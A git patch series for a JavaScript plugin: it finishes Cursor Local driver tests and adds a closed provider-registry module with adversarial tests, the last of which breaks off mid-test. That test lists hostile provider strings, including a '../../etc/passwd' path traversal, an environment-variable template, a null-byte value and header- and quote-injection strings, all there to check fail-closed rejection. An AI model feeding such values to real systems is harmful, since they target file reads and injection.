+ for (const [label, mutate] of sendVariants) { + const context = create('happy', { wrap: { send: (original, request) => mutate(original(request)) } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', `${label}: honest uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(receipt.detail_code, undefined, + `${label}: uncertainty carries no detail pair`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: exactly one spawn`); + assert.equal(context.stub.state.sends, 1, `${label}: exactly one dispatch attempt`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: an unacknowledged live session is never resent`); + assert.equal(context.stub.state.sends, 1, `${label}: relaunch attempts send nothing`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: relaunch spawns nothing`); + } + assert.equal(getterReads.send, 0, 'send-result getters are never invoked'); +}); + +test('pre_write_failure is not_sent only under a confirmed teardown, else dispatch_uncertain', () => { + // Row 2 of the bound-driver rejection: not_sent requires proof that no + // session survives. The confirmed-teardown path keeps the honest closed + // detail pair; every unproven teardown stays dispatch_uncertain. + const confirmed = create('pre_write_failure'); + confirmed.bound.preflight(confirmed.request('preflight')); + const notSent = confirmed.bound.launch(confirmed.request('launch')); + assert.equal(notSent.disposition, 'not_sent'); + assert.equal(notSent.detail_code, 'dispatch_not_written'); + assert.equal(typeof notSent.detail_message, 'string'); + assert.ok(!notSent.detail_message.includes('nothing was written'), + 'transport failure text never leaks into the closed detail pair'); + assertExactIdentity(notSent, 'confirmed-teardown not_sent'); + assert.equal(confirmed.stub.state.spawnCalls, 1, 'exactly one spawn'); + assert.equal(confirmed.stub.state.sends, 1, 'exactly one dispatch attempt'); + assert.equal(confirmed.stub.state.cancelCalls, 1, 'teardown was proven via one cancel'); + expectCode(() => confirmed.bound.launch(confirmed.request('launch')), 'replay_denied', + 'not_sent lanes are never relaunched'); + assert.equal(confirmed.stub.state.spawnCalls, 1); + assert.equal(confirmed.stub.state.sends, 1); + + const teardownVariants = [ + ['cancelling throws', () => { + throw new Error(`teardown exploded ${SECRET_BEARER_TOKEN}`); + }], + ['cancellation only requested', () => ({ + binding_digest: `sha256:${'7'.repeat(64)}`, + outcome: 'requested', + session_id: 'sess-local-1', + })], + ['teardown echo corrupted', () => ({ + binding_digest: `sha256:${'0'.repeat(64)}`, + outcome: 'confirmed', + session_id: 'sess-local-1', + })], + ['teardown carries an extra key', () => ({ + binding_digest: `sha256:${'7'.repeat(64)}`, + outcome: 'confirmed', + polluted: true, + session_id: 'sess-local-1', + })], + ['teardown result malformed', () => 'confirmed'], + ]; + for (const [label, cancelBehavior] of teardownVariants) { + let teardownAttempts = 0; + const context = create('pre_write_failure', { wrap: { cancel: () => { + teardownAttempts += 1; + return cancelBehavior(); + } } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', + `${label}: unproven teardown stays uncertain`); + assert.equal(receipt.detail_code, undefined, `${label}: no detail pair on uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(teardownAttempts, 1, `${label}: teardown was attempted once`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: exactly one spawn`); + assert.equal(context.stub.state.sends, 1, `${label}: exactly one dispatch attempt`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: a possibly-sent prompt is never sent twice`); + assert.equal(context.stub.state.sends, 1, `${label}: no redispatch after relaunch attempt`); + } +}); + +test('every transport result obeys its closed key vocabulary content-free', () => { + const extraKey = { polluted: { leaked: '__proto__' } }; + + const withExtra = (result) => ({ ...result, ...extraKey }); + + const availability = create('happy', { wrap: { availability: (original) => withExtra(original()) } }); + expectCode(() => availability.bound.preflight(availability.request('preflight')), + 'invalid_transport_result', 'availability results reject extra keys'); + assert.equal(availability.stub.state.spawnCalls, 0, + 'refused availability results never spawn'); + + const observe = create('happy', { wrap: { observe: (original, request) => withExtra(original(request)) } }); + observe.bound.preflight(observe.request('preflight')); + observe.bound.launch(observe.request('launch')); + expectCode(() => observe.bound.reconcile( + observe.request('reconcile', { include: INCLUDE_ALL }), + ), 'invalid_transport_result', 'observe results reject extra keys'); + + const cancellation = create('happy', { wrap: { cancel: (original, request) => withExtra(original(request)) } }); + cancellation.bound.preflight(cancellation.request('preflight')); + cancellation.bound.launch(cancellation.request('launch')); + expectCode(() => cancellation.bound.cancel(cancellation.request('cancel')), + 'invalid_transport_result', 'cancel results reject extra keys'); + assert.equal(cancellation.stub.state.cancelCalls, 1, + 'the refused cancellation still reached the transport exactly once'); + + const reply = create('attention', { wrap: { reply: (original, request) => withExtra(original(request)) } }); + dispatch(reply); + reply.bound.reconcile(reply.request('reconcile', { include: INCLUDE_ALL })); + expectCode(() => reply.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved.', + }), 'invalid_transport_result', 'reply results reject extra keys'); + assert.equal(reply.stub.state.replies, 1, 'the refused reply consumed the one attempt'); + expectCode(() => reply.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved again.', + }), 'reply_already_attempted', 'replies stay attempt-once across refusals'); +}); + +test('sha256 and bare 64-hex signatures redact across chunks and reconciliations while receipts keep identity', () => { + const sha256Secret = `sha256:${'d4f10e2a'.repeat(8)}`; + const bareSecret = 'deadbeef'.repeat(8); + const upperSecret = `SHA256:${'ABCDEF01'.repeat(8)}`; + // Every hostile signature is split into two ADJACENT stream pieces; the + // sha256 pair additionally straddles a reconciliation boundary, which the + // persistent per-lane window must survive. + const shaHead = sha256Secret.slice(0, 35); + const shaTail = sha256Secret.slice(35); + const bareHead = bareSecret.slice(0, 32); + const bareTail = bareSecret.slice(32); + let observes = 0; + const scriptedObserve = (request) => { + observes += 1; + if (observes === 1) { + return { + binding_digest: request.binding_digest, + events: [`${shaTail} rotated`, `sum ${bareHead}`], + progress_text: `hashing ${shaHead}`, + session_id: request.session_id, + status: 'running', + }; + } + if (observes === 2) { + return { + binding_digest: request.binding_digest, + events: ['x'.repeat(400), `upper ${upperSecret} end`], + progress_text: `${bareTail} sealed`, + session_id: request.session_id, + status: 'running', + }; + } + return { + binding_digest: request.binding_digest, + session_id: request.session_id, + status: 'completed', + }; + }; + const context = create('happy', { wrap: { observe: (original, request) => { + void original; + return scriptedObserve(request); + } } }); + + context.bound.preflight(context.request('preflight')); + const launched = context.bound.launch(context.request('launch')); + assert.equal(launched.disposition, 'dispatched'); + const first = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(first.disposition, 'in_progress'); + const second = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(second.disposition, 'in_progress'); + + // Redaction happens at emission, not only at the terminal flush. + const midStream = context.created.controls.readEvidence(evidenceRequest()); + const midText = midStream.events.map((segment) => segment.text).join('\u0001'); + assert.ok(midText.includes(REDACTED_MARKER), + 'signatures crossing chunks were redacted before the latch'); + assert.equal(/[0-9a-f]{64}/iu.test(midText), false, + 'no 64-hex signature survives in mid-stream evidence'); + + const terminal = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(terminal.disposition, 'terminal'); + const receipts = [launched, first, second, terminal]; + for (const receipt of receipts) { + // P17 identity receipts stay byte-exact even when the same digest + // shapes arrive inside provider evidence. + assertExactIdentity(receipt, 'hostile-digest receipt'); + } + + const drained = context.created.controls.readEvidence(evidenceRequest()); + assert.equal(drained.truncated, false, 'nothing here needs truncation'); + const allText = drained.events.map((segment) => segment.text).join('\u0001'); + assert.ok(allText.includes(REDACTED_MARKER), 'digest signatures were redacted wholesale'); + assert.equal(/[0-9a-f]{64}/iu.test(allText), false, 'no 64-hex signature survives anywhere'); + assert.equal(allText.includes('d4f10e2a'), false, 'the sha256 body never recombines'); + assert.equal(allText.includes('deadbeef'), false, + 'the bare digest never recombines across reconciliations'); + assert.equal(allText.includes('ABCDEF01'), false, 'uppercase digests never survive'); + assert.equal(allText.includes('sha256:'), false, 'no digest prefix survives'); + for (const segment of drained.events) { + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound holds'); + assert.equal(Buffer.byteLength(segment.text, 'utf8'), segment.bytes, + 'byte accounting stays UTF-8 exact'); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs index 2442cba..7b57eb2 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs @@ -404,4 +404,3 @@ test('control requests are quarantined by the same closed schema discipline', () context.replyRequest({ answer_text: '' }), ), 'invalid_answer', 'empty answers are refused before the attempt'); }); - From 1d071be9b0965e6c1ac2da6e2aae6347292e7cbc Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Mon, 24 Aug 2026 23:59:00 +0000 Subject: [PATCH 090/151] feat(provider): add the closed provider registry composition authority Add the additive v3 provider-registry.mjs (P23): one deterministic, closed composition authority behind provider selection. It registers exactly the four accepted ProviderDriverV1 adapters (grok, cursor-local, cursor-cloud, dsh) in the frozen P02 grammar order, re-derived from the grammar leaf so the slot vocabulary cannot drift. Selection maps an exact {provider, model} pair onto one entry under exact_closed_slot_no_fallback with no preference walk, substitution, fallback, retry, or replay; closed model lists are enforced against accepted constants and grammar-owned models stay with their adapters. Composition gates the provider before reading any option byte, quarantines hostile inputs content-free without running caller code, delegates to the one exact accepted factory, and returns its value untouched so adapter lane stores, evidence maps, and identity binding keep accepted semantics. Inventory quotes each accepted describe surface in detached frozen clones instead of restating capability claims. The P22 future harness is inventoried as mock/conformance evidence only: never a fifth slot. No ambient discovery, no supervisor cutover, no live qualification, and no version change. --- .../mcp/v3/provider-registry.mjs | 435 ++++++++++++++++++ .../r1-provider-registry-adversarial.test.mjs | 273 +++++++++++ .../test/r1-provider-registry.test.mjs | 403 ++++++++++++++++ 3 files changed, 1111 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-registry.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-registry.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs b/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs new file mode 100644 index 0000000..bcd8e06 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs @@ -0,0 +1,435 @@ +// ProviderDriverV1 provider registry — closed deterministic composition +// authority (P23). +// +// Additive v3 module. It owns ONLY the composition seam behind provider +// selection: +// - exactly the four accepted ProviderDriverV1 adapters (P18 Grok ACP +// `grok`, P19 Cursor Local `cursor-local`, P21 Cursor Cloud +// `cursor-cloud`, P20 DSH ACPX `dsh`) registered in the frozen P02 +// grammar slot order and nowhere else; +// - deterministic selection: an exact closed-slot lookup composes every +// lane through that slot's one accepted adapter factory. There is no +// preference walk, no provider substitution, no fallback, no retry, +// no replay, and no fifth operation; +// - the P22 future-harness template/conformance kit is inventoried as +// mock/conformance evidence only: never a provider slot, never a live +// transport, never composable through this surface; +// - inventory data is projected from the accepted modules' own exported +// describe surfaces into detached frozen clones, so the registry quotes +// accepted claims instead of maintaining a parallel capability schema; +// - hostile providers, selections, and options (Proxies, accessors, +// symbols, non-enumerables, exotic prototypes, unknown keys) fail +// closed with typed content-free RunContractV1Errors before any adapter +// factory runs caller code; +// - composed values are returned exactly as the accepted factory returns +// them: no wrapper layer, so adapter lane stores, evidence maps, and +// identity binding keep their accepted semantics. +// +// The registry performs no ambient discovery: it never reads the +// filesystem, environment, PATH, network, clock, random source, or process +// list, and it never dynamically imports a module. Its slot set is closed +// at module load from the P02 grammar vocabulary and can never grow at +// runtime. Supervisor/server cutover, schedulers, durable stores, live +// transport qualification, merge/PR authority, direct mode, and version +// changes stay out of scope; legacy 3.2.1 behavior is untouched. + +import { + capturedCreate, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + knownProvidersJoined, + knownProvidersList, + modelIdGrammarSource, +} from './grammar.mjs'; +import { + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + CURSOR_CLOUD_PROVIDER_SLOT, + bindCursorCloudDriverV1, + describeCursorCloudDriverV1, +} from './cursor-cloud-driver.mjs'; +import { + MODEL_ID_PATTERN as CURSOR_LOCAL_MODEL_ID_PATTERN, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + CURSOR_LOCAL_PROVIDER, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from './cursor-local-driver.mjs'; +import { + DSH_ALLOWED_MODELS, + DSH_ACPX_DRIVER_SCHEMA_ID, + DSH_PROVIDER, + createDshApxDriverV1, + describeDshApxDriverV1, +} from './dsh-acpx-driver.mjs'; +import { + GROK_ACP_DRIVER_SCHEMA_ID, + GROK_PROVIDER_SLOT, + bindGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, +} from './grok-acp-driver.mjs'; +import { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, +} from './future-harness.mjs'; +import { isPlainObject } from './run-manifest.mjs'; +import { assertNotProxy, fail, freezeData, hasOwn } from './selection-json.mjs'; + +export const PROVIDER_REGISTRY_SCHEMA_ID = 'codex-co-engineer.provider-registry.v1'; +export const PROVIDER_REGISTRY_VERSION = 1; +export const REGISTRY_SELECTION_SCHEMA_ID = 'codex-co-engineer.registry-selection.v1'; + +export const REGISTRY_SELECTION_RULE = 'exact_closed_slot_no_fallback'; + +const REGISTRY_OPTION_PATH = 'provider_registry.options'; +const REGISTRY_SELECTION_PATH = 'provider_registry.selection'; +const REGISTRY_PROVIDER_PATH = 'provider_registry.provider'; + +// The authoritative vocabulary is the accepted P02 grammar leaf: the +// registry re-derives its slots from `knownProvidersList()` on every read +// instead of keeping its own copy that could drift. +export const PROVIDER_REGISTRY_SLOTS = knownProvidersList(); + +// Detached deep clone for pure-data accepted projections. The clone keeps +// plain object/array identities so it stays deep-equal to the original, +// and it is frozen so no caller can mutate registry inventory in place. +function detachData(value) { + if (capturedIsArray(value)) { + return capturedFreeze(value.map(detachData)); + } + if (value === null || typeof value !== 'object') return value; + const clone = {}; + const keys = Object.keys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + clone[key] = detachData(value[key]); + } + return capturedFreeze(clone); +} + +function closedListModel(values) { + return capturedFreeze({ + rule: 'closed_list', + authority: 'accepted_adapter', + values: capturedFreeze([...values]), + }); +} + +function grammarModel() { + return capturedFreeze({ + rule: 'adapter_model_grammar', + authority: 'accepted_adapter', + grammar_source: modelIdGrammarSource(), + }); +} + +function localModelGrammar() { + return capturedFreeze({ + rule: 'adapter_model_grammar', + authority: 'accepted_adapter', + grammar_source: CURSOR_LOCAL_MODEL_ID_PATTERN.source, + }); +} + +function registryEntry(provider, adapterSchemaId, composeFunctionName, optionMode, models, surface) { + return capturedFreeze({ + schema: PROVIDER_REGISTRY_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + provider, + adapter_schema_id: adapterSchemaId, + compose_function_name: composeFunctionName, + option_contract: capturedFreeze({ + mode: optionMode, + // For `transport_property` slots the registry itself owns the closed + // bag shape (exactly one own enumerable data property `transport`). + // For `options_bag` slots the accepted factory owns the full closed + // option vocabulary; the registry adds no reinterpretation. + registry_required_keys: optionMode === 'transport_property' + ? capturedFreeze(['transport']) + : capturedFreeze([]), + option_vocabulary_owner: optionMode === 'transport_property' + ? 'provider_registry' + : 'accepted_adapter_factory', + }), + models, + adapter_surface: surface, + }); +} + +// Inventory is built once at load from the accepted modules' own public +// describe surfaces, then detached and frozen. No accepted claim is +// restated here, so no parallel capability schema exists. +const PRIVATE_ENTRIES = capturedFreeze({ + [GROK_PROVIDER_SLOT]: registryEntry( + GROK_PROVIDER_SLOT, + GROK_ACP_DRIVER_SCHEMA_ID, + 'bindGrokAcpDriverV1', + 'transport_property', + grammarModel(), + detachData(describeGrokAcpAdapterSurfaceV1()), + ), + [CURSOR_LOCAL_PROVIDER]: registryEntry( + CURSOR_LOCAL_PROVIDER, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + 'createCursorLocalDriverV1', + 'options_bag', + localModelGrammar(), + detachData(describeCursorLocalDriverV1()), + ), + [CURSOR_CLOUD_PROVIDER_SLOT]: registryEntry( + CURSOR_CLOUD_PROVIDER_SLOT, + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + 'bindCursorCloudDriverV1', + 'transport_property', + grammarModel(), + detachData(describeCursorCloudDriverV1()), + ), + [DSH_PROVIDER]: registryEntry( + DSH_PROVIDER, + DSH_ACPX_DRIVER_SCHEMA_ID, + 'createDshApxDriverV1', + 'options_bag', + closedListModel(DSH_ALLOWED_MODELS), + detachData(describeDshApxDriverV1()), + ), +}); + +// The one exact accepted factory per slot. Lookups happen only after the +// closed-slot gate, so no hostile string ever becomes a property lookup. +const PRIVATE_COMPOSERS = capturedFreeze({ + [GROK_PROVIDER_SLOT]: bindGrokAcpDriverV1, + [CURSOR_LOCAL_PROVIDER]: createCursorLocalDriverV1, + [CURSOR_CLOUD_PROVIDER_SLOT]: bindCursorCloudDriverV1, + [DSH_PROVIDER]: createDshApxDriverV1, +}); + +// P22 is inventory, never composition: mock/conformance evidence only. +const FUTURE_HARNESS_SECTION = capturedFreeze({ + surface: 'conformance_evidence', + provider_slot: null, + composable: false, + template_schema_id: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + conformance_schema_id: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + live_transport_qualification: false, + modules: capturedFreeze([ + 'provider-driver-template.mjs', + 'future-harness.mjs', + 'provider-driver-conformance.mjs', + ]), +}); + +const NONCLAIMS = capturedFreeze({ + ambient_discovery: false, + filesystem: false, + environment: false, + path_lookup: false, + network: false, + process_spawn: false, + dynamic_import: false, + clock_or_random_source: false, + fallback: false, + replay: false, + retry: false, + provider_substitution: false, + fifth_provider: false, + supervisor_cutover: false, + server_cutover: false, + durable_store: false, + scheduler: false, + live_transport_qualification: false, + merge_authority: false, + create_pr: false, + direct_mode: false, + version_change: false, +}); + +export function registrySlotsV1() { + return knownProvidersList(); +} + +export function isRegistrySlotV1(provider) { + return typeof provider === 'string' && capturedIncludes(PROVIDER_REGISTRY_SLOTS, provider); +} + +export function requireRegistrySlotV1(provider) { + if (!isRegistrySlotV1(provider)) { + fail('unknown_provider', REGISTRY_PROVIDER_PATH, + `${REGISTRY_PROVIDER_PATH} must be an exact registered provider slot: ` + + `${knownProvidersJoined()}.`); + } + return provider; +} + +export function registryEntryV1(provider) { + requireRegistrySlotV1(provider); + return PRIVATE_ENTRIES[provider]; +} + +export function registryComposeFunctionV1(provider) { + requireRegistrySlotV1(provider); + return PRIVATE_COMPOSERS[provider]; +} + +export function describeProviderRegistryV1() { + const entries = capturedCreate(null); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + entries[slot] = PRIVATE_ENTRIES[slot]; + } + return freezeData({ + schema: PROVIDER_REGISTRY_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + selection_rule: REGISTRY_SELECTION_RULE, + deterministic_selection: true, + slots: [...PROVIDER_REGISTRY_SLOTS], + entries, + future_harness: FUTURE_HARNESS_SECTION, + nonclaims: NONCLAIMS, + }); +} + +// Deterministic pure selection: maps an exact {provider, model} pair onto +// the one closed registry entry without constructing anything. The model +// rule is quoted per slot; where the accepted adapter owns a closed model +// list (dsh) the registry enforces membership against the accepted frozen +// constant, and where it owns a grammar the adapter stays the sole model +// authority. Nothing here widens either vocabulary. +export function resolveRegistrySelectionV1(selection) { + const path = REGISTRY_SELECTION_PATH; + if (selection === undefined || selection === null + || (typeof selection !== 'object' && typeof selection !== 'function')) { + fail('invalid_type', path, `${path} must be a plain selection record.`); + } + assertNotProxy(selection, path); + if (!isPlainObject(selection)) { + fail('invalid_type', path, `${path} must be a plain selection record.`); + } + let ownKeys; + try { + ownKeys = capturedOwnKeys(selection); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (const key of ownKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path}[symbol] carries a symbol-keyed property; selections are direct data only.`); + } + } + for (const key of ownKeys) { + const descriptor = capturedDescriptor(selection, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; selections are plain data.`); + } + } + for (const key of Object.keys(selection)) { + if (key !== 'provider' && key !== 'model') { + fail('unknown_key', path, `${path} carries a key outside the closed selection vocabulary.`); + } + } + for (const key of ['provider', 'model']) { + if (!hasOwn(selection, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + const providerDescriptor = capturedDescriptor(selection, 'provider'); + if (providerDescriptor.get !== undefined || providerDescriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.provider`, + `${path}.provider is an accessor property; selections are direct data only.`); + } + const modelDescriptor = capturedDescriptor(selection, 'model'); + if (modelDescriptor.get !== undefined || modelDescriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.model`, + `${path}.model is an accessor property; selections are direct data only.`); + } + const provider = requireRegistrySlotV1(providerDescriptor.value); + const model = modelDescriptor.value; + if (typeof model !== 'string') { + fail('invalid_model', `${path}.model`, `${path}.model must be the exact selected model identifier.`); + } + const entry = PRIVATE_ENTRIES[provider]; + if (entry.models.rule === 'closed_list' && !capturedIncludes(entry.models.values, model)) { + fail('unknown_model', `${path}.model`, + `${path}.model is not part of the closed ${provider} model vocabulary.`); + } + return freezeData({ + schema: REGISTRY_SELECTION_SCHEMA_ID, + version: PROVIDER_REGISTRY_VERSION, + selection_rule: REGISTRY_SELECTION_RULE, + deterministic: true, + provider, + model, + adapter_schema_id: entry.adapter_schema_id, + compose_function_name: entry.compose_function_name, + model_rule: entry.models.rule, + }); +} + +// Composition seam. Provider gating happens before any option byte is +// inspected; options are quarantined content-free (no getter, setter, +// proxy trap, or caller code ever runs); the accepted factory's return +// value is passed through untouched. +export function composeProviderDriverV1(provider, options) { + const slot = requireRegistrySlotV1(provider); + const path = REGISTRY_OPTION_PATH; + if (options === undefined || options === null + || (typeof options !== 'object' && typeof options !== 'function')) { + fail('invalid_type', path, `${path} must be a plain options record.`); + } + assertNotProxy(options, path); + if (!isPlainObject(options)) { + fail('invalid_type', path, `${path} must be a plain options record.`); + } + let ownKeys; + try { + ownKeys = capturedOwnKeys(options); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (const key of ownKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path}[symbol] carries a symbol-keyed property; options are direct data only.`); + } + } + for (const key of ownKeys) { + const descriptor = capturedDescriptor(options, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; options are plain data.`); + } + } + if (PRIVATE_ENTRIES[slot].option_contract.mode !== 'transport_property') { + // The accepted factory owns this bag's full closed vocabulary and + // already quarantines proxies, accessors, symbols, unknown keys, and + // exotic prototypes; the registry forwards it without reinterpretation. + return PRIVATE_COMPOSERS[slot](options); + } + for (const key of Object.keys(options)) { + if (key !== 'transport') { + fail('unknown_key', path, `${path} carries a key outside the closed registry vocabulary.`); + } + } + if (!hasOwn(options, 'transport')) { + fail('missing_key', `${path}.transport`, + `${path}.transport is required; the registry inherits no hidden transport default.`); + } + const descriptor = capturedDescriptor(options, 'transport'); + if (descriptor.get !== undefined || descriptor.set !== undefined) { + fail('accessor_property_denied', `${path}.transport`, + `${path}.transport is an accessor property; transports are concrete method objects only.`); + } + return PRIVATE_COMPOSERS[slot](descriptor.value); +} + +capturedFreeze(detachData); +capturedFreeze(registrySlotsV1); +capturedFreeze(isRegistrySlotV1); +capturedFreeze(requireRegistrySlotV1); +capturedFreeze(registryEntryV1); +capturedFreeze(registryComposeFunctionV1); +capturedFreeze(describeProviderRegistryV1); +capturedFreeze(resolveRegistrySelectionV1); +capturedFreeze(composeProviderDriverV1); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs new file mode 100644 index 0000000..3e43d72 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs @@ -0,0 +1,273 @@ +// P23 provider registry — adversarial coverage. Hostile providers, +// selections, and options must fail closed, content-free, and without +// running any caller code; inventory must stay deterministic and frozen +// under prior hostility; P22 must never become composable. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { createCursorLocalTransportStub } from './fixtures/r1-cursor-local-transport.mjs'; +import { fakeDshTransport } from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + composeProviderDriverV1, + describeProviderRegistryV1, + isRegistrySlotV1, + registryEntryV1, + registrySlotsV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; + +const PRISTINE_DESCRIPTION = describeProviderRegistryV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +test('accessor options never run their getters for any provider decision', () => { + let transportRuns = 0; + let decoyRuns = 0; + const bag = {}; + Object.defineProperty(bag, 'transport', { + enumerable: true, + get() { + transportRuns += 1; + return {}; + }, + }); + Object.defineProperty(bag, 'decoy', { + enumerable: true, + get() { + decoyRuns += 1; + return {}; + }, + }); + expectCode(() => composeProviderDriverV1('grok', bag), 'unknown_key', + 'the closed transport_property bag rejects foreign keys before descriptors are read'); + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', + model: 'stealth/ox-alpha', + get extra() { + throw new Error('getter must not run'); + }, + }), 'unknown_key'); + assert.equal(transportRuns, 0); + assert.equal(decoyRuns, 0); +}); + +test('accessor transports are refused without invoking the accessor', () => { + let runs = 0; + const bag = {}; + Object.defineProperty(bag, 'transport', { + enumerable: true, + get() { + runs += 1; + return {}; + }, + }); + for (const slot of ['grok', 'cursor-cloud']) { + expectCode(() => composeProviderDriverV1(slot, bag), 'accessor_property_denied'); + } + assert.equal(runs, 0); +}); + +test('proxies, exotic prototypes, arrays, primitives, and functions are denied', () => { + const exotic = Object.assign(Object.create({ inherited() {} }), { transport: {} }); + const hostileBags = [ + new Proxy({ transport: {} }, {}), + exotic, + [], + [1, 2], + 'transport', + 7, + true, + () => {}, + Symbol('x'), + 10n, + ]; + for (const slot of ['grok', 'cursor-cloud', 'dsh', 'cursor-local']) { + for (const bag of hostileBags) { + assert.throws(() => composeProviderDriverV1(slot, bag), + (error) => error instanceof RunContractV1Error, + `${slot} must reject the hostile bag with a typed denial`); + } + for (const absent of [null, undefined]) { + expectCode(() => composeProviderDriverV1(slot, absent), 'invalid_type', + `${slot} requires an options record`); + } + } +}); + +test('missing, non-enumerable, and symbol-keyed transports fail closed per slot', () => { + expectCode(() => composeProviderDriverV1('grok', {}), 'missing_key'); + expectCode(() => composeProviderDriverV1('cursor-cloud', {}), 'missing_key'); + const hidden = {}; + Object.defineProperty(hidden, 'transport', { enumerable: false, value: {} }); + expectCode(() => composeProviderDriverV1('grok', hidden), 'non_enumerable_property_denied'); + const symboled = { transport: {} }; + symboled[Symbol('hidden')] = 1; + expectCode(() => composeProviderDriverV1('cursor-cloud', symboled), 'symbol_key_denied'); + expectCode(() => composeProviderDriverV1('dsh', symboled), 'symbol_key_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', symboled), 'symbol_key_denied'); +}); + +test('options_bag slots forward faithfully so accepted factories keep denying', () => { + // The registry adds no reinterpretation: adapter denials surface verbatim. + let getterRuns = 0; + const accessorBag = { + get workspace_mode() { + getterRuns += 1; + return 'managed'; + }, + transport: fakeDshTransport().port, + }; + expectCode(() => composeProviderDriverV1('dsh', accessorBag), + 'invalid_object', 'the DSH factory owns its own option closure'); + assert.equal(getterRuns, 0, 'registry forwarding itself never reads values'); + expectCode(() => composeProviderDriverV1('dsh', new Proxy({ + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }, {})), 'proxy_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', new Proxy({}, {})), 'proxy_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', Object.create({ + inherited() {}, + }, { transport: { value: createCursorLocalTransportStub('happy').transport, enumerable: true } })), + 'invalid_type'); +}); + +test('hostile provider strings never reach codes, paths, or messages', () => { + const payloads = [ + '', + '${process.env.API_KEY}', + '../../etc/passwd', + 'grok\x00admin', + 'A'.repeat(5000), + '🦛'.repeat(300), + 'grok"or"1"="1', + 'cursor-local\nHTTP/1.1', + ]; + for (const payload of payloads) { + try { + requireRegistrySlotV1(payload); + assert.fail('expected typed denial'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.notEqual(error.code, payload); + 